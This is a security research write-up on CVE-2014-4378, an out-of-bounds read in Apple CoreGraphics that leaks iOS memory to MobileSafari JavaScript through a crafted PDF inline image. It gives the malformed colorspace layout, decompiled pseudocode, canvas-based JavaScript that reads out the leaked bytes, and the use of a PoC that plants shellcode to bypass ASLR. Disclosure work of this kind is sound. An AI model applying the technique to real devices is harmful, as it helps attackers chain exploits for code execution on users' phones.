binamuse
security research

CoreGraphics Information Disclosure

PDF inline image out of bounds memory read

This article explores the exploitability of MobileSafari on IOS 7.1.x. Using a crafted PDF file as an HTML image makes it possible to leak information about the memory layout to the browser Javascript interpreter. Apple CoreGraphics library fails to validate input when parsing the colorspace specification of an inline image embedded in a PDF content stream. This issue is an information leak vulnerability that improves the adversary capability of exploit vulnerabilities in any application linked with this library. This is also proved useful to bypass a several exploit mitigations such as ASLR, DEP and CodeSigning. A 100% reliable PoC leak-exploit is downloadable from the github project.

September 2014

Felipe Andres Manzano
feliam@binamuse.com

Contents

1 Target summary

Title: Apple CoreGraphics Information Disclosure

Product: Apple IOS/OSX operating systems

Version: IOS: 6.1.x, 7.0.x, 7.1.x; OSX: pre-10.9.4

Product Homepage: apple.com

CVE: CVE-2014-4378

Advisory: `http://support.apple.com/kb/ht6443`

2 Vulnerability brief information

Vulnerability Class	Information Disclosure
Affected Versions	6.1.x, 7.0.x, 7.1.x
Affected Platforms	iPod4,1 iPhone3,1 iPhone4S iPhone5 iPhone5c iPhone (m68ap) iPhone 3G (n82ap) iPhone 3GS (n88ap) iPhone 4(n90ap,n90bap,n92ap) iPhone 4S (n94ap) iPhone 5(n41ap,n42ap) iPhone 5c(n48ap,n49ap) iPod touch (n45ap) iPod touch 2G (n72ap) iPod touch 3G (n18ap) iPod touch 4G (n81ap) iPod touch 5G(n78ap,n78aap) iPad (k48ap) iPad 2(k93ap,k94ap,k95ap,k93aap) iPad 3(j1ap,j2ap,j2aap) iPad 4(p101ap,p102ap,p103ap) iPad mini 1G(p105ap,p106ap,p107ap) Apple TV 2G (k66ap) Apple TV 3G(j33ap,j33iap)

PoC Supported Targets	1: iPod4,1 iOS-6.1.5 2: iPod4,1 iOS-6.1.6 3: iPhone3,1 iOS-7.0.4 5: iPhone4S iOS-7.1 6: iPhone4S iOS-7.1.1 7: iPhone5 iOS-7.1 8: iPhone5 iOS-7.1.1 9: iPhone5c iOS-7.1.2
Attack Vector	Client-Side File Format (via browser)
Exploitation Impact	Heap Layout Info Disclosure
Exploitation Context	mobile/desktop
Exploit Features	ASLR/DEP/Code signing bypass

3 Common Vulnerability Scoring System

Base Metrics		
Access **V**ector	**N**etwork	The vulnerability is exploitable with network access
Access **C**omplexity	**L**ow	Specialized access conditions or extenuating circumstances do not exist
Authentication	**N**one	Authentication is not required to exploit the vulnerability.
Confidentiality Impact	**C**omplete	There is total information disclosure, resulting in all system files being revealed
Integrity Impact	**P**artial	Modification of some system files or information is possible, but the attacker does not have control over what can be modified, or the scope of what the attacker can affect is limited
Availability Impact	Partial (P)	There is reduced performance or interruptions in resource availability

Temporal Metrics		
Exploitability	**F**unctional	Functional exploit code is available. The code works in most situations where the vulnerability exists
Remediation **L**evel	**O**fficial **F**ix	A complete vendor solution is available
Report **C**onfidence	**N**ot **D**efined (ND)	Assigning this value to the metric will not influence the score. It is a signal to the equation to skip this metric

Environmental Metrics		
Collateral **D**amage **P**otential	**M**edium-**H**igh	A successful exploit of this vulnerability may result in significant loss of revenue or productivity
Target **D**istribution	**H**igh	Between 76% - 100% of the total environment is considered at risk

4 Vulnerability Details

Safari accept PDF files as native image format for the ¡image¿ html tag. Thus browsing an html page in Safari can transparently load multiple pdf files without any further user interaction. CoreGraphics is the responsable of parsing the PDF files.

On a PDF, a sampled image may be specified in the form of an inline image as an alternative to the image XObjects described in 8.9.5 of [1]. This type of image shall be defined directly within the content stream of a pdf page. Each inline image specification may contain the declaration of a colorspace, this colorpace specification complies to a differen syntax than the one used in the specification of images as eXternal Objects. For the specification of colorpaces in XObjects see 8.9.5 'Image Dictionaries' of [1].

An inline image embedded in a PDF content stream looks like this:

```
q                                          % Save graphics state
17 0 0 17 298 388 cm                       % Scale and translate coordinate space

BI                                         % Begin inline image object
/W 17                                      % Width in samples
```

```
/H 17                                          % Height in samples
/CS $COLORSPACE-SPEC$                          % Colour space  !!!!!!!!!!!!!!!!!!
/BPC 8                                         % Bits per component
/F [ /A85 /LZW ]                               % Filters
ID                                             % Begin image data
J1/gKA>.]AN&J?]-<HW]aRVcg*bb.\eKAdVV%/PcZ
... Omitted data ...
R.s(4KE3&d&7hb*7[%Ct2HCqC~>
EI                                             % End inline image object
Q                                              % Restore graphics state
```

Where $COLORSPACE-SPEC$ is a placeholder for a colorspace specification as described in section 8.6.4 'Device Colour Spaces' of [1].

An Indexed color space shall be defined by a four-element array:

```
[ /Indexed base hival lookup ]
```

The first element shall be the colour space family name Indexed (or /I). The base parameter shall be an array or name that identifies the base colour space. The hival parameter shall be an integer that specifies the maximum valid index value. The color table shall be defined by the lookup parameter, which for inline images shall be a byte string.

The information leak bug resides in the Indexed type colorspace specification parsing code. It fails to validate hival with the size of the lookup table. This enables an attacker to read pass the end of the lookup table, and use the uncontroled memory inmediatelly after the memory of the table in an unexpected way.

This research is based on the iPhone3,1(iPhone4) iOS 7.1.1. Considering the dyld_shared_cache_armv7 file is loaded at 0x2c00000000, the function that parses inline image colorspace is at 0x2D527C3C. Pseudocode follows:

```
/* Read the colorspace definition under the /ColorSpace or /CS field of
   dictionary*/
if ( CGPDFDictionaryGetObject(dict, "ColorSpace", &cs_obj) ||
             CGPDFDictionaryGetObject(dict, "CS", &cs_obj)    ) {
    CS = 0;
    if ( cs_obj ) {
    /* In case the colorspace definition is of type PDFName (5)
       initialize a standar colorpace object */
    if ( CGPDFObjectGetValue(cs_obj, 5, &cs_name) == 1 ) {
        CS = mk_CSDefault_2D52850C(cs_name);
        if ( !CS ) {
            cs_strm = CGPDFContentStreamGetColorSpace(v3, cs_name);
            CS = CGColorSpaceRetain(cs_strm);
        }
    }
    else {
        if (  /* If cs_object is of type PDFArray */
            CGPDFObjectGetValue(cs_obj, 7, &cs_array) == 1  &&
            /* ... and it has 4 elements ...*/
            CGPDFArrayGetCount(cs_array) == 4               &&
            /* ... and the first element is a PDFName ... */
            CGPDFArrayGetName(cs_array, 0, &cs_name) == 1   &&
            /* ... and this PDFName is "/Indexed" or "/I" ... */
            ( !strcmp(cs_name, "Indexed") || !strcmp(cs_name, "I") ) &&
            /* ... and the second element is also a PDFName ...*/
            CGPDFArrayGetName(cs_array, 1, &cs_name) == 1   &&
            /* ... and The third element is an integer N ... */
```

```
            CGPDFArrayGetInteger(cs_array, 2, &N) == 1      &&
            /* ... and the forth element, the lookup table is a
               PDFString */
            CGPDFArrayGetString(cs_array, 3, &index_table) == 1 ) {
                /* get the string raw data */
                str = (void *)CGPDFStringGetBytePtr(index_table);
                if ( str ) {
                    /* prepare the inner simple colorspace */
                    default_cs = mk_CSDefault_2D52850C(cs_name);
                    if ( default_cs ) {
                        /* and build the indexed colorspace object */
                        CS = CGColorSpaceCreateIndexed(default_cs, N,
                           str);
                        CGColorSpaceRelease(default_cs);
                    }
                }
        }
    }
}
```

Note that the length of the pdf string "str" is never compared to `N`. `CGColorSpaceCreateIndexed` will build a colorspace object with a lookup table composed of "str" and the memory that happens to follow that.

5 Exploitation details

The data in the Inline Image that specifies the buggy indexed colorpace will be translated into actual pixels using the lookup table, and the data that resides inmediatelly after the pdf string `str` will be put as pixel data of the image. This is easely accesible via javascript machinery.Something like this..

```
var img = document.getElementById("pdfleakimage")
var canvas = document.createElement('canvas');
var pixelData;
var content;
/* set the canvas size to the image size */
canvas.width = img.width;
canvas.height = img.height;

/*paste te image on the canvas */
canvas.getContext('2d').drawImage(img, 0, 0, img.width, img.height);
/* pixelData is the actual RGBA pixel data :) */
pixelData = canvas.getContext('2d').getImageData(0, 0, img.width,
   img.height).data;

/* only problem is that the 4th byte of each pixel is not usable ... */
var leak = new Array();
for (var i=0; i<img.width*img.height*4; i+=1){
    if ( (1+i)%4 == 0 )
        continue;
    leak[leak.length] = pixelData[i];
}

/* leak contains the values read from memory */
```

A 100% reliable PoC leak-exploit is attached. Some heap masagging is needed to improve the probability of leaking an interesting address pointer and to elude the corner case in which the str is allocated close to the

end of a memory page. The Poc detects the browser device type, firmware version, `dyld_shared_cache` base address and it also plants a configured shellcode and leaks its starting address. This is ready to implement a 100% reliable code execution exploit when combining it with another vulnerability.

5.1 Usage

Run the cgi server like this:

```
$ python run.py
```

and point your supported device MobileSafari to it. You should be able to read the shellcode and leaked address on `alert` dialogs.

6 References

1 `http://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/PDF32000_2008.pdf`